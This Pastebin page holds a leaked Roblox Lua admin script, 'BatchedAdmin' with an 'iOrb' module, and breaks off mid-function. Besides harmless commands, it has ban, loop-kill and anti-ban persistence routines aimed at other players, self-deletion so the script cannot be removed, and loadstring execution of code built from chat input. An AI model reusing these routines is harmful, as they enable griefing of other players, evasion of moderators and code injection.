Advertisement
asjkljrlfkjrwoierjwe

BatchedAdmin by w4k {English Version} {Leaked}

May 13th, 2015
449
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 244.57 KB | None | 0 0
  1. x = Instance.new("Message", workspace)
  2. x.Name = "WM"
  3. x.Text = "BatchedAdmin by w4k has Loaded. Version: 4. Language: English"
  4.  
  5. wh1 = Instance.new("Hint", workspace)
  6. wh1.Name = "WH"
  7. wh1.Text = "Leaked Version"
  8. wait(5)
  9. game.Workspace.WM:remove()
  10. game.Workspace.WH:remove()
  11.  
  12.  
  13. Owners = "YourNameHere"
  14.  
  15. a = game.Players:FindFirstChild(Owners)
  16. function Chat(text)
  17. if text == ">ff" then
  18. ff = Instance.new("ForceField", game.Players.LocalPlayer.Character)
  19. ff.Name = "FF"
  20. end
  21.  
  22. if text == ">god" then
  23. game.Players.LocalPlayer.Character.Humanoid.MaxHealth = math.huge
  24. end
  25.  
  26. if text == ">kill" then
  27. game.Players.LocalPlayer.Character.Humanoid.MaxHealth = 0
  28. end
  29.  
  30. if text == ">god -r" then
  31. game.Players.LocalPlayer.Character.Humanoid.MaxHealth = 100
  32. end
  33.  
  34. if text == ">ff -x" then
  35. game.Players.LocalPlayer.Character.FF:remove()
  36. end
  37.  
  38. if text == ">night" then
  39. game.Lighting.TimeOfDay = 0
  40. end
  41.  
  42. if text == ">day" then
  43. game.Lighting.TimeOfDay = 14
  44. end
  45. if text == ">new brick" then
  46. Instance.new("Part", workspace)
  47. end
  48.  
  49. if text == ">offline" then
  50. afk = Instance.new("Hint", workspace)
  51. afk.Name = "Afk"
  52. afk.Text = "w4k isn't connected!"
  53. end
  54.  
  55. if text == ">online" then
  56. game.Workspace.Afk:remove()
  57. end
  58.  
  59. if text == ">prefix" then
  60. pref = Instance.new("Message", workspace)
  61. pref.Name = "Prefix"
  62. pref.Text = "Prefix is '>'."
  63. wait(3)
  64. game.Workspace.Prefix:remove()
  65. end
  66.  
  67. if text == ">getorb" then
  68. --/----------------------------------\--
  69. --|-> Loading functions............<-|--
  70. --\----------------------------------/--
  71.  
  72. -- Tables --
  73.  
  74. iOrb= {} --> Orb Data
  75. iBan= {} --> Ban table
  76. iCmd= {} --> Commands using players, booleans and numbers or nothing
  77. iStr= {} --> Commands using strings, booleans or nothing
  78. iVal= {} --> Commands using three value like Color3 or Vector3 or nothing
  79. iLkl= {} --> Loopkill table
  80. iGod= {} --> Godmode with event function table
  81. iAll= {} --> Group all the commands to print them
  82. iHlp= {} --> Group all the commands to print info
  83. iTls= {} --> Group all the gears and building tools'name to print them
  84. iGrb= {} --> Players grabbed by orb
  85.  
  86. -- Settings --
  87.  
  88. iOrb.Player=game:GetService("Players").LocalPlayer
  89. iOrb.CharacterClone=nil
  90. iOrb.PlayerName=iOrb.Player.Name
  91. iOrb.DefaultParent=game.Workspace
  92. iOrb.TempData=Instance.new("Model")
  93. iOrb.TempBackpack=Instance.new("Model",iOrb.TempData)
  94. iOrb.OrbParent=nil
  95. iOrb.Torso=nil
  96. iOrb.Version="2"
  97. iOrb.OrbName=iOrb.Player.Name.."'s [iOrb]"..iOrb.Version
  98. iOrb.Name=iOrb.OrbName
  99. iOrb.OrbedName=iOrb.Player.Name
  100. iOrb.StopCheck=false
  101. iOrb.runmsg=false
  102. iOrb.Clearing=true
  103. iOrb.Part=false
  104. iOrb.Model=nil
  105. iOrb.Orb=nil
  106. iOrb.OrbTorso=nil
  107. iOrb.Humanoid=nil
  108. iOrb.FireColorChange=true
  109. iOrb.Fire=nil
  110. iOrb.Char=nil
  111. iOrb.Pos=nil
  112. iOrb.inUse=false
  113. iOrb.Move=true
  114. iOrb.LoadAnimation=true
  115. iOrb.Unremovable=true
  116. iOrb.LocalOrb=false
  117. iOrb.Orbed=false
  118. iOrb.CreateOrb=true
  119. iOrb.Trail=true
  120. iOrb.TSize=.6
  121. iOrb.sCmdExecution=true
  122. iOrb.Respawning=false
  123. iOrb.FEnabled=true
  124. iOrb.FHeat=1
  125. iOrb.FSize=2
  126. iOrb.PDist=.35
  127. iOrb.PSize=.2
  128. iOrb.RotSpeed=15
  129. iOrb.RotCoef=iOrb.RotSpeed
  130. iOrb.ChatColor="Red"
  131. iOrb.ColorChange=false
  132. iOrb.ColorChangeSpeed=15
  133. iOrb.ColorOne=0/215
  134. iOrb.ColorTwo=145/235
  135. iOrb.Size=Vector3.new(1,1,1)
  136. iOrb.BaseX=4.25
  137. iOrb.BaseY=0
  138. iOrb.BaseZ=0
  139. iOrb.LeviY=0
  140. iOrb.LeviRise=1.5
  141. iOrb.LeviSpeed=.06
  142. iOrb.PPersistence=.4
  143. iOrb.Turn=true
  144. iOrb.Particles=false
  145.  
  146. -- Building Tools --
  147.  
  148. iBuild= {
  149.  
  150. stampertool=73089166,
  151. clone=73089204,
  152. delete=73089190,
  153. rotate=58880579,
  154. wiring=60791062,
  155. stamperconfig=73089239,
  156. paint=18474459,
  157. groupdragger=36334760,
  158. resize=58901534,
  159. standardconfig=16975388,
  160. material=58901405,
  161. surface=58901575
  162.  
  163. }
  164.  
  165. -- Gears Tools --
  166.  
  167. iGears= {
  168.  
  169. coil=16688968,
  170. rctruck=52180871,
  171. bow=55917429,
  172. epicsauce=31314931,
  173. dancegrenade=65545955,
  174. blackholebomb=28277486,
  175. skateboard=27902406,
  176. freezeray=42845853,
  177. atmoblaster=50937815,
  178. platformproducer=34898883,
  179. wallwalker=35683911,
  180. sentry=68603151,
  181. zombiestaff=26421972,
  182. gravitygun=34901961,
  183. banhammer=10468797,
  184. unseeneye=71422361,
  185. ancalagon=62350883,
  186. vinestaff=30847733,
  187. leviatingstaff=48596324,
  188. polaritystaff=61459706,
  189. zeusstaff=66416616,
  190. gravityhammer=33866846,
  191. magicninja=30847779,
  192. dualkamas=60888284,
  193. bbgun=42845609,
  194. rocket=32356064,
  195. r80launcher=69209924,
  196. illuminatingspear=69947379,
  197. deathspeakerzombie=51760061,
  198. cursedflamethrower=59175769,
  199. laservision=69499452,
  200. deamselixir=65082246,
  201. hydrianelixir=55917420,
  202. fermionblade=50938746,
  203. quantumentangler=72644644,
  204. egoexpander=26774629,
  205. kamipotion=66426498,
  206. missiletoe=66896565,
  207. azuresword=69499437,
  208. magiccarpet=71037028,
  209. blizzardwand=68354832,
  210. froststaff=66896601,
  211. lightingorb=72644629,
  212. confusoray=48596305,
  213. danceblaster=45941451,
  214. grapplehook=30393548,
  215. deathspeakerbook=59848474,
  216. dracovinbook=49491736,
  217. dracovinwand=56561607,
  218. princesswand=49491716,
  219. flashbang=16979083,
  220. novawand=27860496,
  221. darkspellbook=56561579,
  222. rcplane=69210407,
  223. icicleslicer=66823689,
  224. kotikozphaser=61459678,
  225. ghostfiresword=64220933,
  226. ninjabomb=64869947,
  227. supergdisruptor=14516975,
  228. blastgun=18268645,
  229. windstaff=18462637,
  230. atomicdisintegrator=13838639,
  231. handcannon=33867016,
  232. flamethrower=33879504,
  233. hypnocannon=35366155,
  234. scythe=28275809,
  235. rccar=31839203,
  236. woodlandstaff=11373617,
  237. emraldscatterblaster=22969230,
  238. scatterblaster=21420014,
  239. broom=36913601,
  240. armcannon=48847374,
  241. frosthammer=71422327,
  242. dualaxes=69947367,
  243. gloomystaff=33382711,
  244. blowdryer=11719016,
  245. tnt=12902404,
  246. schoolagefist=65469882,
  247. skullcracker=65469908,
  248. remotemine=33383241,
  249. moonwalkpotion=32353654,
  250. winsomewand=32355966,
  251. atomizer=35293856,
  252. tazerblade=50938773,
  253. azurestaff=32858662,
  254. velocityphaser=16469499,
  255. tornadegrenade=47871646,
  256. roboarm=35366215,
  257. hoverboard=64160547,
  258. vilethorn=54694334,
  259. darknessstaff=69210321,
  260. evileyewand=62827121,
  261. awestar=18010691,
  262. swordandshield=51302649,
  263. sparkstaff=10760425,
  264. undoingaxe=73799348,
  265. dragonslayer=73232786,
  266. screechpotion=73232825,
  267. dualcannons=73265108,
  268. gravitron=74385438,
  269. razevenge=74385386,
  270. glorylauncher=74385418,
  271. spikegrenade=73888479,
  272. victoryblaster=75550907,
  273. superheropotion=76262706
  274.  
  275. }
  276.  
  277. -- Unremovable --
  278.  
  279. if iOrb.Unremovable then coroutine.resume(coroutine.create(function() script:Destroy() end)) end
  280.  
  281. -- iSCmd Backup --
  282.  
  283. function iBackupsCmd()
  284. iOrb.TSize=.875 iOrb.PDist=.35 iOrb.PSize=.2 iOrb.Fire.Size=iOrb.FSize iOrb.RotSpeed=8 iOrb.BaseX=4.25 iOrb.BaseY=0 iOrb.BaseZ=0 iOrb.RotCoef=iOrb.RotSpeed
  285. end
  286.  
  287. -- Default Parent --
  288.  
  289. coroutine.resume(coroutine.create(function()
  290. if iOrb.DefaultParent~=iOrb.Player.Character then return else repeat wait()
  291. if iOrb.Player.Character~=nil then iOrb.DefaultParent=iOrb.Player.Character end
  292. until false end end))
  293.  
  294. -- Orb Child Remover --
  295.  
  296. coroutine.resume(coroutine.create(function() repeat wait()
  297. if iOrb.Orb~=nil then for _,v in pairs(iOrb.Orb:GetChildren())do if not v:IsA("Fire") then v:Destroy() end end end
  298. until false end))
  299.  
  300. -- iBan players --
  301.  
  302. function banPlayers(plr)
  303. if plr:IsA("Player") then
  304. for _,v in pairs(iBan) do
  305. if tostring(v) == plr.Name then
  306. plr:remove()
  307. end
  308. end
  309. end
  310. end
  311.  
  312. -- iLkl Players --
  313.  
  314. coroutine.resume(coroutine.create(function() repeat wait()
  315. for _,v in pairs(iLkl)do
  316. coroutine.resume(coroutine.create(function()
  317. for i,p in pairs(game.Players:GetPlayers())do
  318. if tostring(p):match(tostring(v)) then
  319. if p.Character~=nil then
  320. p.Character:BreakJoints()
  321. end
  322. end
  323. end
  324. end))
  325. end
  326. until false end))
  327.  
  328. -- Torso Finder --
  329.  
  330. coroutine.resume(coroutine.create(function() repeat wait() if iOrb.Player.Character~=nil then
  331. if not iOrb.Player.Character:FindFirstChild("Torso") then iOrb.Torso=nil else iOrb.Torso=iOrb.Player.Character:FindFirstChild("Torso") end
  332. end until false end))
  333.  
  334. -- Hint Function --
  335.  
  336. function iHint(string,tm,removeHint) if iOrb.Player~=nil and string~=nil and game.Workspace.CurrentCamera~=nil then local hint=nil
  337. coroutine.resume(coroutine.create(function()
  338. if not game.Workspace.CurrentCamera:FindFirstChild(iOrb.Player.Name.."HINT") then hint=Instance.new("Hint",game.Workspace.CurrentCamera) hint.Name=iOrb.Player.Name.."HINT" hint.Text=string else hint=game.Workspace.CurrentCamera:FindFirstChild(iOrb.Player.Name.."HINT") hint.Text=string end if removeHint then wait(tm) hint:Destroy()
  339. for _,v in pairs(game.Workspace.CurrentCamera:GetChildren())do if v:IsA("Hint") and v.Name==iOrb.Player.Name.."HINT" then v:Destroy() end end end
  340. end)) end end
  341.  
  342. -- Typing effect --
  343.  
  344. function iTypeMsg(msg,tme) if not iOrb.inUse then if not iOrb.runmsg then iHint('',0,true) iOrb.inUse=false return end iOrb.inUse=true
  345. for i=1,msg:len(),1 do wait()
  346. iHint(msg:sub(1,i))
  347. end wait(tme)
  348. for i=1,msg:len(),1 do wait()
  349. iHint(msg:sub(i,msg:len()))
  350. end wait() iHint('',0,true) iOrb.inUse=false
  351. end end
  352.  
  353. -- Local Orb --
  354.  
  355. coroutine.resume(coroutine.create(function() repeat wait() if iOrb.LocalOrb~=nil or iOrb.Orbed~=nil then
  356. if iOrb.LocalOrb==true and iOrb.Orbed==false then iOrb.OrbParent=game.Workspace.CurrentCamera
  357. elseif iOrb.LocalOrb==false and iOrb.Orbed==false then iOrb.OrbParent=iOrb.DefaultParent
  358. elseif iOrb.Orbed==true then iOrb.OrbParent=game.Workspace iOrb.LocalOrb=false end end
  359. until false end))
  360.  
  361. -- iOrb Chat Function --
  362.  
  363. function iOrbChat(msg)
  364. if iOrb.Orbed and iOrb.Part and iOrb.Orb~=nil then game:GetService("Chat"):Chat(iOrb.Orb,msg,iOrb.ChatColor) iStr.rename(msg) end
  365. for cmd,func in pairs(iCmd) do
  366. if msg:sub(1,tostring(cmd):len()+1)==tostring(cmd)..":" then msg=msg:lower() msg=string.gsub(msg:sub(1,tostring(cmd):len()+1),":","(\'")..msg:sub(tostring(cmd):len()+2)
  367. if tostring(cmd) ~= "rotspeed" or tostring(cmd) ~= "x" or tostring(cmd) ~= "y" or tostring(cmd) ~= "z" then coroutine.resume(coroutine.create(iSCmd)) end
  368. local command=msg:gsub(",","\',\'")
  369. command=command:gsub(" ","\',\'")
  370. command=command:gsub("/","\',\'")
  371. command=command:gsub(":","\',\'")
  372. command=command:gsub("%.","\',\'")
  373. command=command:gsub("|","\') iCmd."..tostring(cmd).."(\'")
  374. command="iCmd."..command.."\')"
  375. coroutine.resume(coroutine.create(function()loadstring(command)()end)) return
  376. end
  377. end
  378. for cmd2,func2 in pairs(iStr) do
  379. if msg:sub(1,tostring(cmd2):len()+1)==tostring(cmd2)..":" then
  380. coroutine.resume(coroutine.create(iSCmd))
  381. coroutine.resume(coroutine.create(function()loadstring("iStr."..tostring(cmd2).."([===["..msg:sub(tostring(cmd2):len()+2).."]===])")()end)) return
  382. end
  383. end
  384. for cmd3,func3 in pairs(iVal) do
  385. if msg:sub(1,tostring(cmd3):len()+1)==tostring(cmd3)..":" then
  386. local command=msg:gsub(":",",")
  387. command=command:gsub(" ",",")
  388. command=command:gsub("/",",")
  389. command=command:gsub("%.",",")
  390. coroutine.resume(coroutine.create(iSCmd))
  391. coroutine.resume(coroutine.create(function()loadstring("iVal."..tostring(cmd3).."("..command:sub(tostring(cmd3):len()+2)..")")()end)) return
  392. end
  393. end
  394. end
  395.  
  396. -- Remove Orb --
  397.  
  398. function iRemoveOrb(path) coroutine.resume(coroutine.create(function()
  399. for _,v in pairs(path:GetChildren())do
  400. if v.Name==iOrb.Name then v:remove() end end
  401. if iOrb.Orbed then for _,v in pairs(game.Workspace:GetChildren())do
  402. if v.Name==iOrb.Name then v:remove() end
  403. end end end))end coroutine.resume(coroutine.create(function() wait(.1) iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) end))
  404.  
  405. -- Orb Antiban Persistence --
  406.  
  407. coroutine.resume(coroutine.create(function()
  408. repeat wait() if not game.Players:FindFirstChild(iOrb.PlayerName) or game.Players:FindFirstChild(iOrb.PlayerName) and not game.Players:FindFirstChild(iOrb.PlayerName):IsA("Player") then iOrb.Particles=true if iOrb.Fire~=nil then iOrb.Fire.Enabled=true end iOrb.CreateOrb=false iOrb.Orbed=true iOrb.LocalOrb=false iOrb.sCmdExecution=false iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) wait(.1) iOrb.Name=iOrb.OrbedName wait() iOrb.CreateOrb=true break end until iOrb.StopCheck wait()
  409. if iPrimaryChat~=nil then iPrimaryChat:disconnect() end wait() if not iOrb.StopCheck then
  410. iSecondChat=iOrb.Player.Chatted:connect(iOrbChat) end
  411. end))
  412.  
  413. -- Match Players --
  414.  
  415. function iGetPlayer(str) local players={} string=str:lower()
  416. if string=="me" and iOrb.Orbed==false then table.insert(players,iOrb.Player)
  417. elseif string=="all" or string=="" or string==nil then
  418. for _,v in pairs(game.Players:GetPlayers())do
  419. table.insert(players,v)
  420. end
  421. elseif string=="others" then
  422. for _,v in pairs(game.Players:GetPlayers())do
  423. if v~=iOrb.Player then
  424. table.insert(players,v)
  425. end end
  426. else for _,v in pairs(game.Players:GetPlayers())do
  427. if string.lower(v.Name:sub(1,string:len()))==string then
  428. table.insert(players,v)
  429. end end
  430. end return players
  431. end
  432.  
  433. -- Trail Creation --
  434.  
  435. function iTrailCreation()
  436. if iOrb.Orb~=nil then
  437. if iOrb.Trail then
  438. coroutine.resume(coroutine.create(function()
  439. local cOrb=iOrb.Orb:Clone()
  440. cOrb.Name="cTrail"
  441. cOrb.Anchored=true
  442. cOrb.Locked=true
  443. cOrb.CanCollide=false
  444. cOrb.Shape="Block"
  445. cOrb.FormFactor="Custom"
  446. cOrb.Size=Vector3.new(iOrb.TSize,iOrb.TSize,iOrb.TSize)
  447. cOrb.Parent=iOrb.Orb.Parent
  448. for _,v in pairs(cOrb:GetChildren())do v:remove() end
  449. cOrb.CFrame=CFrame.new(iOrb.Orb.CFrame.p)*CFrame.fromEulerAnglesXYZ(math.random(0,math.rad(360)),math.random(0,math.rad(360)),math.random(0,math.rad(360)))
  450. local cPos=cOrb.CFrame.p
  451. cOrb.Transparency=0.2
  452. for i=1,10,1 do wait()
  453. pcall(function()
  454. cOrb.Size=cOrb.Size-Vector3.new(0.075,0.075,0.075)
  455. cOrb.Transparency=cOrb.Transparency+0.075
  456. cOrb.CFrame=CFrame.new(cPos)*CFrame.fromEulerAnglesXYZ(math.random(0,math.rad(360)),math.random(0,math.rad(360)),math.random(0,math.rad(360)))
  457. end)
  458. end
  459. pcall(function() cOrb:remove() end)
  460. end)) else for _,v in pairs(iOrb.Orb.Parent:GetChildren())do if v.Name=="cOrb" and v:IsA("BasePart") then v:remove() end end end
  461. end
  462. end
  463.  
  464. -- Particles Creation --
  465.  
  466. function iParticlesCreation(vector,dis,size)
  467. if iOrb.Orb~=nil and iOrb.LoadAnimation then
  468. if iOrb.Particles then if iOrb.Orb~=nil and iOrb.LoadAnimation then
  469. local cOrb=iOrb.Orb:Clone()
  470. cOrb.Name="cParticle"
  471. cOrb.Anchored=true
  472. cOrb.Locked=true
  473. cOrb.CanCollide=false
  474. cOrb.Shape="Block"
  475. cOrb.FormFactor="Custom"
  476. cOrb.Reflectance=0
  477. if size==nil then cOrb.Size=Vector3.new(iOrb.PSize,iOrb.PSize,iOrb.PSize) else
  478. cOrb.Size=Vector3.new(size,size,size)
  479. end
  480. for _,v in pairs(cOrb:GetChildren())do v:remove() end
  481. cOrb.Parent=iOrb.Orb.Parent
  482. cOrb.CFrame=CFrame.new(vector)*CFrame.fromEulerAnglesXYZ(math.random(0,math.rad(360)),math.random(0,math.rad(360)),math.random(0,math.rad(360)))*CFrame.new(Vector3.new((math.random(-iOrb.Orb.Size.X-dis,iOrb.Orb.Size.X+dis))*math.cos(math.rad(0,360)),(math.random(-iOrb.Orb.Size.X-dis,iOrb.Orb.Size.X+dis))*math.cos(math.rad(0,360)),(math.random(-iOrb.Orb.Size.X-dis,iOrb.Orb.Size.X+dis))*math.sin(math.rad(0,360))))
  483. local cPos=cOrb.CFrame.p
  484. cOrb.Transparency=.3
  485. local cOrb2=cOrb:Clone()
  486. cOrb2.Parent=iOrb.Orb.Parent
  487. cOrb2.Name="cParticle2"
  488. cOrb2.Reflectance=0
  489. coroutine.resume(coroutine.create(function(cOrb,cOrb2)
  490. for i=1,10,1 do wait() if iOrb.Orb~=nil and iOrb.Particles and iOrb.LoadAnimation then
  491. cOrb2.Transparency=cOrb2.Transparency+0.1
  492. cOrb2.Size=cOrb2.Size+Vector3.new(.04,.04,.04)
  493. cOrb2.CFrame=cOrb.CFrame
  494. else cOrb:remove() cOrb2:remove() end end
  495. end),cOrb,cOrb2)
  496. wait(iOrb.PPersistence)
  497. for i=1,10,1 do wait() if iOrb.Orb~=nil and iOrb.Particles and iOrb.LoadAnimation then
  498. cOrb.Transparency=cOrb.Transparency+0.1
  499. else cOrb:remove() cOrb2:remove() end end
  500. cOrb:remove() cOrb2:remove()
  501. end end
  502. end
  503. end
  504.  
  505. -- Orb Execution Animation --
  506.  
  507. function iSCmd()
  508. if iOrb.Orb==nil or iOrb.Part==false or iOrb.sCmdExecution==false or iOrb.Orbed then return end
  509. local cOrb=iOrb.Orb:Clone()
  510. cOrb.Name="cOrb"
  511. cOrb.Reflectance=0
  512. cOrb.Anchored=true
  513. cOrb.Locked=true
  514. cOrb.CanCollide=false
  515. cOrb.Parent=iOrb.Orb.Parent
  516. iOrb.PDist=iOrb.PDist+1.5
  517. iOrb.PSize=iOrb.PSize+.15
  518. iOrb.TSize=iOrb.TSize+.65
  519. if iOrb.Turn then
  520. if iOrb.RotSpeed~=0 then
  521. iOrb.RotSpeed = iOrb.RotSpeed+2.5
  522. end
  523. end
  524. if iOrb.Fire~=nil then
  525. iOrb.Fire.Size=iOrb.Fire.Size+3
  526. end
  527. for i = 1, 10, 1 do wait()
  528. if iOrb.Orb~=nil and iOrb.Part and cOrb~=nil and iOrb.Orbed==false and iOrb.sCmdExecution then
  529. cOrb.Transparency=cOrb.Transparency+0.1
  530. cOrb.Size=iOrb.Orb.Size+Vector3.new(i,i,i)
  531. cOrb.CFrame=iOrb.Orb.CFrame
  532. if iOrb.Turn then
  533. iOrb.BaseX=iOrb.BaseX+iOrb.RotCoef/20
  534. end
  535. else iBackupsCmd() end
  536. end
  537. if cOrb~=nil then cOrb:remove() else iBackupsCmd() end
  538. wait(.7)
  539. if iOrb.Orb~=nil and iOrb.Part and cOrb~=nil and iOrb.Orbed==false and iOrb.sCmdExecution then
  540. coroutine.resume(coroutine.create(function() wait(.275)
  541. for i=1, 20, 1 do wait()
  542. if iOrb.Turn then
  543. if iOrb.Orb~=nil and iOrb.Part and cOrb~=nil and iOrb.Orbed==false and iOrb.sCmdExecution then
  544. iOrb.BaseX=iOrb.BaseX-iOrb.RotCoef/40
  545. if iOrb.RotSpeed~=0 then
  546. iOrb.RotSpeed = iOrb.RotSpeed-0.125
  547. end
  548. else iBackupsCmd() end
  549. end
  550. end
  551. end))
  552. iOrb.PDist=iOrb.PDist-1.5
  553. iOrb.PSize=iOrb.PSize-.15
  554. iOrb.TSize=iOrb.TSize-.65
  555. if iOrb.Fire~=nil then
  556. iOrb.Fire.Size=iOrb.Fire.Size-3
  557. end
  558. else iBackupsCmd() end
  559. end
  560.  
  561. -- Ray Function --
  562.  
  563. function iPCmd(playerTable,color)
  564. if playerTable==nil then return end
  565. for _,player in pairs(playerTable)do coroutine.resume(coroutine.create(function()
  566. if player.Character~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.OrbParent then if player==iOrb.Player and iOrb.Orbed then else
  567. if player.Character:FindFirstChild("Torso") then if player.Character.Torso:IsA("Part") then
  568. if color==nil then iColor=Color3.new(iOrb.Orb.Color) else iColor=color end
  569. local iFocus=false
  570. local iTarget=player.Character.Torso.CFrame.p
  571. local iDist=(iOrb.Orb.CFrame.p-iTarget).magnitude if iDist > 1000 then return end
  572. local iRay=Instance.new("Part")
  573. iRay.CFrame=CFrame.new(Vector3.new(0,100000,0))
  574. iRay.Name="iRay"
  575. iRay.Anchored=true
  576. iRay.Locked=true
  577. iRay.CanCollide=false
  578. iRay.Reflectance=.3
  579. iRay.Transparency=.2
  580. iRay.Shape="Block"
  581. iRay.FormFactor="Custom"
  582. iRay.BrickColor=BrickColor.new(color)
  583. iRay.Size=Vector3.new(.2,.2,.2)
  584. iRay.BrickColor=iOrb.Orb.BrickColor
  585. iRay.Parent=iOrb.Orb.Parent
  586. for i=10, 1, -2 do wait()
  587. iTarget=player.Character.Torso.CFrame.p
  588. iDist=(iOrb.Orb.CFrame.p-iTarget).magnitude
  589. iRay.Color=iOrb.Orb.Color
  590. iRay.Size=Vector3.new(.2,.2,iDist/i)
  591. iRay.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iTarget)*CFrame.new(Vector3.new(0,0,-(iDist/i)/2))
  592. end iFocus=true
  593. coroutine.resume(coroutine.create(function(iFocus,iRay,iDist,iTarget) while iFocus and wait() do
  594. if player.Character~=nil then if not player.Character:FindFirstChild("Torso") then break end else break end
  595. iTarget=player.Character.Torso.CFrame.p
  596. iDist=(iOrb.Orb.CFrame.p-iTarget).magnitude
  597. iRay.Color=iOrb.Orb.Color
  598. iRay.Size=Vector3.new(.2,.2,iDist)
  599. iRay.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iTarget)*CFrame.new(Vector3.new(0,0,-iDist/2))
  600. end end),iFocus,iRay,iDist,iTarget)
  601. local iTar=iOrb.Orb:Clone()
  602. iTar.Name="iTar"
  603. iTar.Reflectance=0
  604. iTar.Anchored=true
  605. iTar.Locked=true
  606. iTar.CanCollide=false
  607. iTar.CFrame=player.Character.Torso.CFrame
  608. iTar.Transparency=.3
  609. iTar.BrickColor=BrickColor.new(iColor)
  610. iTar.Parent=iOrb.Orb.Parent
  611. coroutine.resume(coroutine.create(function(iTar)
  612. for i = 1, 15, 1 do wait()
  613. if player.Character~=nil then if not player.Character:FindFirstChild("Torso") then break end else break end
  614. iTar.Transparency=iTar.Transparency+.0325
  615. iTar.Size=Vector3.new(i,i,i)
  616. iTar.CFrame=player.Character.Torso.CFrame
  617. end
  618. for i = 4, 1, -1 do wait()
  619. if player.Character~=nil then if not player.Character:FindFirstChild("Torso") then break end else break end
  620. iTar.Transparency=iTar.Transparency+.0375
  621. iTar.Size=Vector3.new(i*2,i*2,i*2)
  622. iTar.CFrame=player.Character.Torso.CFrame
  623. end wait()
  624. iTar:remove()
  625. end),iTar)
  626. local iPersist=iRay:clone()
  627. iPersist.Name="iPersist"
  628. iPersist.BrickColor=BrickColor.new(iColor)
  629. iPersist.Reflectance=0
  630. iPersist.Anchored=true
  631. iPersist.Locked=true
  632. iPersist.CanCollide=false
  633. iPersist.CFrame=iRay.CFrame
  634. iPersist.Parent=iOrb.Orb.Parent
  635. for i = 1, 10, 1 do wait()
  636. iPersist.Transparency=iPersist.Transparency+.1
  637. iPersist.Size=iRay.Size+Vector3.new(i/20,i/20,0)
  638. iPersist.CFrame=iRay.CFrame
  639. end
  640. iPersist:remove() wait(.075)
  641. for i = 1, 10, 1 do wait()
  642. iRay.Transparency=iRay.Transparency+.1
  643. end iFocus=false iRay:remove() wait(2)
  644. end
  645. end end
  646. end
  647. end)) end wait(.75)
  648. end
  649.  
  650. -- Orb Creation and Verification --
  651.  
  652. coroutine.resume(coroutine.create(function() repeat wait(.1)
  653. if iOrb.LocalOrb==true and iOrb.Orbed==false then iOrb.OrbParent=game.Workspace.CurrentCamera
  654. elseif iOrb.LocalOrb==false and iOrb.Orbed==false then iOrb.OrbParent=iOrb.DefaultParent
  655. elseif iOrb.Orbed==true then iOrb.OrbParent=game.Workspace end
  656. coroutine.resume(coroutine.create(function()
  657. if iOrb.CreateOrb then
  658. if iOrb.OrbParent~=nil and iOrb.CreateOrb then
  659. if iOrb.Player.Character~=nil and iOrb.Torso~=nil and iOrb.CreateOrb or iOrb.Orbed==true and iOrb.CreateOrb then
  660. if not iOrb.OrbParent:FindFirstChild(iOrb.Name) and iOrb.CreateOrb then iOrb.Part=false iOrb.Orb=nil iOrb.Model=nil
  661. local iModel=Instance.new("Model",iOrb.OrbParent) iModel.Name=iOrb.Name iModel.Archivable=false iOrb.Model=iModel
  662. end if iOrb.OrbParent:FindFirstChild(iOrb.Name):IsA("Model") and iOrb.CreateOrb and iOrb.Torso~=nil then
  663. local iModel=iOrb.OrbParent:FindFirstChild(iOrb.Name) iOrb.Model=iModel
  664. if not iModel:FindFirstChild("Torso") and iOrb.CreateOrb and iOrb.Torso~=nil then iOrb.Part=false iOrb.Fire=nil iOrb.OrbTorso=nil
  665. local iTorso=Instance.new("Part",iModel)
  666. iTorso.Name="Torso"
  667. iTorso.Anchored=false
  668. iTorso.Locked=true
  669. iTorso.Transparency=1
  670. iTorso.CanCollide=false
  671. iTorso.Shape="Ball"
  672. iTorso.Color=Color3.new(iOrb.ColorOne,iOrb.ColorOne,iOrb.ColorOne)
  673. iTorso.Size=iOrb.Size
  674. iTorso.CFrame=CFrame.new(Vector3.new(0,10000,0))
  675. iTorso.BottomSurface="Smooth"
  676. iTorso.TopSurface="Smooth"
  677. iOrb.OrbTorso=iTorso end
  678. if not iModel:FindFirstChild("Head") and iOrb.CreateOrb and iOrb.Torso~=nil then iOrb.Part=false iOrb.Orb=nil iOrb.Fire=nil
  679. local iHead=Instance.new("Part",iModel)
  680. iHead.Name="Head"
  681. iHead.Anchored=true
  682. iHead.Locked=true
  683. iHead.Reflectance=.2
  684. iHead.CanCollide=false
  685. iHead.Shape="Ball"
  686. iHead.Color=Color3.new(iOrb.ColorOne,iOrb.ColorOne,iOrb.ColorOne)
  687. iHead.Size=iOrb.Size
  688. iHead.CFrame=CFrame.new(iOrb.Torso.CFrame.p+Vector3.new(0,5,0))
  689. iHead.BottomSurface="Smooth"
  690. iHead.TopSurface="Smooth"
  691. iModel.PrimaryPart=iHead
  692. iOrb.Orb=iHead
  693. local iFire=Instance.new("Fire")
  694. iFire.Name="iFire"
  695. iFire.Color=Color3.new(iOrb.ColorTwo,iOrb.ColorTwo,iOrb.ColorTwo)
  696. iFire.SecondaryColor=Color3.new(iOrb.ColorOne,iOrb.ColorOne,iOrb.ColorOne)
  697. iFire.Size=iOrb.FSize
  698. iFire.Heat=iOrb.FHeat
  699. iFire.Enabled=iOrb.FEnabled
  700. iFire.Parent=iHead
  701. iOrb.Fire=iFire
  702. else if iModel:FindFirstChild("Head"):IsA("Part") and iOrb.CreateOrb then
  703. local iHead=iModel:FindFirstChild("Head") iOrb.Orb=iHead iModel.PrimaryPart=iHead
  704. if not iHead:FindFirstChild("iFire") then iOrb.Fire=nil
  705. local iFire=Instance.new("Fire")
  706. iFire.Name="iFire"
  707. iFire.Color=Color3.new(iOrb.ColorTwo,iOrb.ColorTwo,iOrb.ColorTwo)
  708. iFire.SecondaryColor=Color3.new(iOrb.ColorOne,iOrb.ColorOne,iOrb.ColorOne)
  709. iFire.Size=iOrb.FSize
  710. iFire.Heat=iOrb.FHeat
  711. iFire.Enabled=iOrb.FEnabled
  712. iFire.Parent=iHead
  713. iOrb.Fire=iFire
  714. end end end if not iModel:FindFirstChild("Humanoid") and iOrb.CreateOrb then iOrb.Part=false iOrb.Humanoid=nil
  715. local iHumanoid=Instance.new("Humanoid",iModel)
  716. iHumanoid.MaxHealth=0
  717. iHumanoid.Health=0
  718. iOrb.Humanoid=iHumanoid
